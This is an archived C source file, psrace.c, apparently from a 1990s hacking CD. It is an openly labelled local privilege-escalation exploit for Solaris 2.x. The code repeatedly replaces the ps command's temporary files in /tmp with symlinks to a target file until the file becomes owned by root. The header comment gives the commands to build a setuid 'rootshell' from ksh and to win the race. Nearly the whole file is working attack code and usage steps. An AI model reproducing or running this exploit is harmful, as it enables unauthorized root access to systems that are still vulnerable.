home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / PSRACE.ZIP / PSRACE.C
C/C++ Source or Header  |  1997-01-19  |  3KB  |  121 lines

  1. /*
  2.   EXPLOIT:
  3.  
  4.   The following is exploit code that will allow you to change any
  5.   file on a Solaris 2.x machine to uid 0 (as well as setuid files).  */
  6.  
  7.  
  8. /*
  9.  *  psrace.c
  10.  *
  11.  *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
  12.  *
  13.  *  This material is copyrighted by Scott Chasin, 1995. The
  14.  *  usual standard disclaimer applies, especially the fact that the
  15.  *  author is not liable for any damages caused by direct or indirect
  16.  *  use of the information or functionality provided by this program.
  17.  *
  18.  *  [ For solaris2.x only ]
  19.  *
  20.  *  After compiling psrace, run the following commands:
  21.  *
  22.  *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
  23.  *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
  24.  *  ./psrace $HOME/rootshell
  25.  *
  26.  *  (Ignore any errors you get from ps)
  27.  *  You may have to wait a few minutes before the race is won.
  28.  */
  29.  
  30. #include <stdio.h>
  31. #include <sys/types.h>
  32.  
  33. #include <dirent.h>
  34. #include <sys/stat.h>
  35.  
  36. main (argc, argv)
  37. int argc;
  38. char **argv;
  39. {
  40.   int count = 0;
  41.   DIR *dirp;
  42.   struct dirent *dp;
  43.   struct stat fileinfo;
  44.   char targetfile [85], name [85];
  45.  
  46.   if (argc != 2)
  47.    {
  48.       printf ("Usage: psrace [/full/path/to/target/filename]\n");
  49.       exit (1);
  50.    }
  51.  
  52.   if (access (argv[1], 0))
  53.    {
  54.       printf ("psrace: %s does not exist.\n", argv[1]);
  55.       exit (1);
  56.    }
  57.  
  58.   strcpy (targetfile, argv[1]);
  59.  
  60.   stat ("/tmp", &fileinfo);
  61.   if (fileinfo.st_mode & S_ISVTX)
  62.    {
  63.       printf ("psrace: Congratulations! You already have the fix in place.\n");
  64.       printf ("psrace: (/tmp has the sticky-bit set)\n");
  65.       exit (1);
  66.    }
  67.  
  68.   printf ("Be patient, this could take awhile.\n");
  69.   printf ("Starting the race .. ");
  70.   fflush (stdout);
  71.  
  72.   dirp = opendir ("/tmp");
  73.  
  74.   for (;;)
  75.    {
  76.      unlink ("/tmp/ps_data");
  77.  
  78.      while ((dp = readdir (dirp)) != NULL)
  79.       {
  80.         if (!strncmp (dp->d_name, "ps.", 3))
  81.          {
  82.            sprintf (name, "/tmp/%s", dp->d_name);
  83.            unlink (name);
  84.  
  85.            symlink (targetfile, name);
  86.  
  87.            if (stat (targetfile, &fileinfo) >= 0)
  88.                if (fileinfo.st_uid == 0)
  89.                  {
  90.                    printf ("We WON!\n");
  91.                    closedir (dirp);
  92.                    clean_up ();
  93.                  }
  94.          }
  95.       }
  96.      rewinddir (dirp);
  97.    }
  98.  }
  99.  
  100.  
  101. clean_up ()
  102. {
  103.   DIR *dirp;
  104.   struct dirent *dp;
  105.   char name [25];
  106.  
  107.   dirp = opendir ("/tmp");
  108.  
  109.   while ((dp = readdir (dirp)) != NULL)
  110.       if (!strncmp (dp->d_name, "ps.", 3))
  111.        {
  112.           sprintf (name, "/tmp/%s", dp->d_name);
  113.           unlink (name);
  114.        }
  115.   closedir (dirp);
  116.  
  117.   unlink ("/tmp/ps_data");
  118.   exit (0);
  119. }
  120.  
  121.